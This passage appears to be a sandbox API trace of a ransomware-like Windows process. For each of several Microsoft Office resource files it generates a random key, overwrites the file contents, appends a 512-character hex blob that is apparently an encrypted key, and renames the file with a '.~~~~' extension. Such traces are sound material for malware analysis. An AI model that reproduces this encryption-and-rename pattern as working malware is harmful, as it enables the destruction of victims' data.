	[0131.220] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0131.220] GetLastError () returned 0x0
	[0131.220] GetLastError () returned 0x0
	[0131.223] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff3670, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.223] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xc990, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0xc990, lpOverlapped=0x0) returned 1
	[0131.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0131.226] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.226] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.226] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.226] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.226] CloseHandle (hObject=0x140) returned 1
	[0131.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4280
	[0131.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll.~~~~")) returned 1
	[0131.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4280 | out: hHeap=0x300000) returned 1
	[0131.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0131.228] GetLastError () returned 0x0
	[0131.229] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1b60) returned 1
	[0131.230] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.230] CryptReleaseContext (hProv=0x3a1b60, dwFlags=0x0) returned 1
	[0131.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0131.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0131.230] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25122028499) returned 1
	[0131.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb7a90ef0, dwHighDateTime=0x1d60e1e)) 
	[0131.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0131.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0131.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0131.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe130
	[0131.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe130 | out: hHeap=0x300000) returned 1
	[0131.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0131.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b11f0
	[0131.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0131.231] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0131.231] GetLastError () returned 0x0
	[0131.231] GetLastError () returned 0x0
	[0131.232] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0131.232] GetLastError () returned 0x0
	[0131.232] GetLastError () returned 0x0
	[0131.359] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffb280, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.364] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x4d80, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x4d80, lpOverlapped=0x0) returned 1
	[0131.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0131.370] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.370] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.371] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.371] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.371] CloseHandle (hObject=0x140) returned 1
	[0131.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb078
	[0131.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll.~~~~")) returned 1
	[0131.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb078 | out: hHeap=0x300000) returned 1
	[0131.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0131.566] GetLastError () returned 0x0
	[0131.567] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a18b8) returned 1
	[0131.568] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0131.568] CryptReleaseContext (hProv=0x3a18b8, dwFlags=0x0) returned 1
	[0131.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0131.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0131.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0131.568] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25155796263) returned 1
	[0131.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb7dd6d30, dwHighDateTime=0x1d60e1e)) 
	[0131.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0131.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0131.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0131.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28237c8
	[0131.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28237c8 | out: hHeap=0x300000) returned 1
	[0131.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbd88
	[0131.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.569] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0131.569] GetLastError () returned 0x0
	[0131.569] GetLastError () returned 0x0
	[0131.569] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0131.569] GetLastError () returned 0x0
	[0131.569] GetLastError () returned 0x0
	[0131.571] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffff33, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.571] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xcd, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0xcd, lpOverlapped=0x0) returned 1
	[0131.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0131.574] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.574] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.574] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.574] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.574] CloseHandle (hObject=0x120) returned 1
	[0131.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbd88
	[0131.575] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.~~~~")) returned 1
	[0131.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbd88 | out: hHeap=0x300000) returned 1
	[0131.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0131.577] GetLastError () returned 0x0
	[0131.578] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a18b8) returned 1
	[0131.579] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0131.579] CryptReleaseContext (hProv=0x3a18b8, dwFlags=0x0) returned 1
	[0131.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0131.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0131.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0131.579] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25156925443) returned 1
	[0131.579] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb7dfce90, dwHighDateTime=0x1d60e1e)) 
	[0131.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0131.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0131.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0131.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823800
	[0131.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823800 | out: hHeap=0x300000) returned 1
	[0131.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbcf0
	[0131.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.580] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0131.580] GetLastError () returned 0x0
	[0131.580] GetLastError () returned 0x0
	[0131.581] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0131.581] GetLastError () returned 0x0
	[0131.581] GetLastError () returned 0x0
	[0131.582] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.582] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0131.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0131.584] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.585] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.585] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.585] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.585] CloseHandle (hObject=0x120) returned 1
	[0131.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cde40
	[0131.585] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.~~~~")) returned 1
	[0131.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0131.587] GetLastError () returned 0x0
	[0131.588] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a18b8) returned 1
	[0131.589] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0131.589] CryptReleaseContext (hProv=0x3a18b8, dwFlags=0x0) returned 1
	[0131.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0131.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0131.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0131.589] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25157961431) returned 1
	[0131.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb7dfce90, dwHighDateTime=0x1d60e1e)) 
	[0131.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0131.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0131.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0131.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823838
	[0131.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823838 | out: hHeap=0x300000) returned 1
	[0131.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbc58
	[0131.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.590] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0131.591] GetLastError () returned 0x0
	[0131.591] GetLastError () returned 0x0
	[0131.591] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0131.591] GetLastError () returned 0x0
	[0131.591] GetLastError () returned 0x0
	[0131.592] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.592] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0131.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0131.607] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.611] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.611] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.611] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.611] CloseHandle (hObject=0x120) returned 1
	[0131.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0131.666] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.~~~~")) returned 1
	[0131.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0131.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0131.972] GetLastError () returned 0x0
	[0132.020] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a13f0) returned 1
	[0132.034] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.034] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.035] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25202469924) returned 1
	[0132.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb824d670, dwHighDateTime=0x1d60e1e)) 
	[0132.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0132.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd578
	[0132.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd578 | out: hHeap=0x300000) returned 1
	[0132.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0132.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ab8
	[0132.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
